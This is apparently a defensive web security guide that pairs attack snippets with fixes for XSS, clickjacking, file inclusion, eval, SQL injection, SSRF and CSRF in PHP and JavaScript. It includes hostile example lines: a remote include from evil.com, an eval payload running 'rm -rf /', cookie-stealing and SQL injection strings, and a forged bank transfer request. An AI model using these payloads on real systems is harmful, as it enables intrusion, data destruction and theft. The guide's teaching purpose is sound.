Web Application Security Guide

Ethical Hacking Reference for Developers

Introduction

As a web developer, understanding how attackers might exploit your applications is crucial for building secure websites. This guide will walk you through common vulnerabilities in HTML/CSS, PHP, SQL, CURL, and JavaScript, showing both how attacks work and how to prevent them.

1. HTML/CSS Vulnerabilities

1.1 Cross-Site Scripting (XSS) via HTML Injection

Attack:

<!-- Malicious user input in a comment form -->
<script>alert('XSS Attack!');</script>
<img src="x" onerror="alert('XSS')">

Defense:

// PHP example: Always escape output
echo htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8');

Best Practices:

  • Use Content Security Policy (CSP) headers
  • Implement input validation and output encoding
  • Use modern frameworks that auto-escape by default (React, Angular, etc.)

1.2 Clickjacking

Attack:

<!-- Attacker's page -->
<iframe src="https://yourwebsite.com/account" style="opacity:0;position:fixed;top:0;left:0"></iframe>
<button style="position:fixed;top:50px;left:50px">Click for free stuff!</button>

Defense:

// PHP header to prevent framing
header('X-Frame-Options: DENY');
// Or for modern browsers:
header('Content-Security-Policy: frame-ancestors \'none\'');

2. PHP Vulnerabilities

2.1 File Inclusion Vulnerabilities

Attack:

// Vulnerable code
include($_GET['page'] . '.php');

// Attacker calls: /index.php?page=http://evil.com/shell

Defense:

// Whitelist allowed pages
$allowed = ['home', 'about', 'contact'];
if (in_array($_GET['page'], $allowed)) {
include($_GET['page'] . '.php');
} else {
include('404.php');
}

2.2 Remote Code Execution

Attack:

// Dangerous code
eval($_GET['command']);

// Attacker calls: /vuln.php?command=system('rm -rf /');

Defense:

  • Never use eval() with user input
  • Disable dangerous functions in php.ini:
    disable_functions = "exec,passthru,shell_exec,system,proc_open,popen,eval"

3. SQL Injection

3.1 Classic SQL Injection

Attack:

// Vulnerable code
$query = "SELECT * FROM users WHERE username = '$_POST[username]' AND password = '$_POST[password]'";

// Attacker inputs:
// username: admin' --
// password: [anything]

Defense:

// Using prepared statements with PDO
$stmt = $pdo->prepare('SELECT * FROM users WHERE username = :username AND password = :password');
$stmt->execute([
'username' => $_POST['username'],
'password' => $_POST['password']
]);

3.2 Blind SQL Injection

Attack:

// Attacker probes with boolean conditions
' AND 1=CONVERT(int, (SELECT table_name FROM information_schema.tables)) --

Defense:

  • Always use parameterized queries
  • Implement proper error handling (don't expose DB errors)
  • Use ORMs when possible (Eloquent, Doctrine, etc.)

4. CURL-Related Vulnerabilities

4.1 Server-Side Request Forgery (SSRF)

Attack:

// Vulnerable code that fetches user-supplied URLs
$url = $_GET['url'];
$ch = curl_init($url);
curl_exec($ch);

Defense:

// Validate URLs before fetching
$url = $_GET['url'];
$parsed = parse_url($url);

if ($parsed['host'] === 'trusteddomain.com') {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_exec($ch);
} else {
die('Invalid URL');
}

4.2 Insecure CURL Options

Attack:

Exploiting misconfigured CURL options to:

  • Follow redirects to malicious sites
  • Send authentication headers to attacker sites

Defense:

// Secure CURL configuration
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false); // Disable redirect following
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTPS); // Allow only HTTPS
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true); // Verify SSL cert

5. JavaScript Vulnerabilities

5.1 Cross-Site Scripting (XSS)

Attack:

// Vulnerable code
document.getElementById('output').innerHTML = userComment;

// Attacker posts: <script>stealCookies()</script>

Defense:

// Use textContent instead of innerHTML
document.getElementById('output').textContent = userComment;

// Or use DOMPurify for HTML content
document.getElementById('output').innerHTML = DOMPurify.sanitize(userComment);

5.2 Cross-Site Request Forgery (CSRF)

Attack:

<!-- On attacker's site -->
<img src="https://yourbank.com/transfer?to=attacker&amount=1000" width="0" height="0">

Defense:

// Generate and validate CSRF tokens
session_start();

// On form generation
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
echo '<input type="hidden" name="csrf_token" value="'.$_SESSION['csrf_token'].'">';

// On form submission
if (!hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'])) {
die('CSRF validation failed');
}

6. Comprehensive Security Measures

6.1 Secure Headers

Implement these HTTP headers:

header("Strict-Transport-Security: max-age=63072000; includeSubDomains; preload");
header("X-Content-Type-Options: nosniff");
header("X-XSS-Protection: 1; mode=block");
header("Referrer-Policy: strict-origin-when-cross-origin");
header("Feature-Policy: geolocation 'none'; microphone 'none'; camera 'none'");

6.2 Regular Security Practices

  1. Input Validation: Validate all user input on server side
    if (!filter_var($_POST['email'], FILTER_VALIDATE_EMAIL)) {
    die('Invalid email');
    }
  2. Output Encoding: Always encode output based on context (HTML, JS, URL, etc.)
  3. Authentication Security:
    • Use bcrypt for password hashing
    • Implement rate limiting for login attempts
    • Use multi-factor authentication
  4. Session Security:
    ini_set('session.cookie_httponly', 1);
    ini_set('session.cookie_secure', 1);
    ini_set('session.cookie_samesite', 'Strict');
  5. Regular Updates: Keep all software (PHP, libraries, server) updated

7. Testing Your Defenses

7.1 Manual Testing

  1. Try inserting HTML/JS in all input fields
  2. Attempt SQL injection with ' OR 1=1 --
  3. Test for IDOR (Insecure Direct Object Reference) by changing URL parameters
  4. Check for CSRF vulnerabilities by removing tokens

7.2 Automated Tools

  • OWASP ZAP: For automated vulnerability scanning
  • Burp Suite: For manual testing and scanning
  • SQLMap: For testing SQL injection vulnerabilities
  • Nikto: Web server scanner

Conclusion

By understanding these common attack vectors and implementing the corresponding defenses, you'll significantly improve your web application's security. Remember that security is an ongoing process - new vulnerabilities are discovered regularly, so stay informed and keep your applications updated.

Always conduct security testing in a controlled environment and only on applications you own or have permission to test. Ethical hacking should be used to improve security, not to exploit systems without authorization.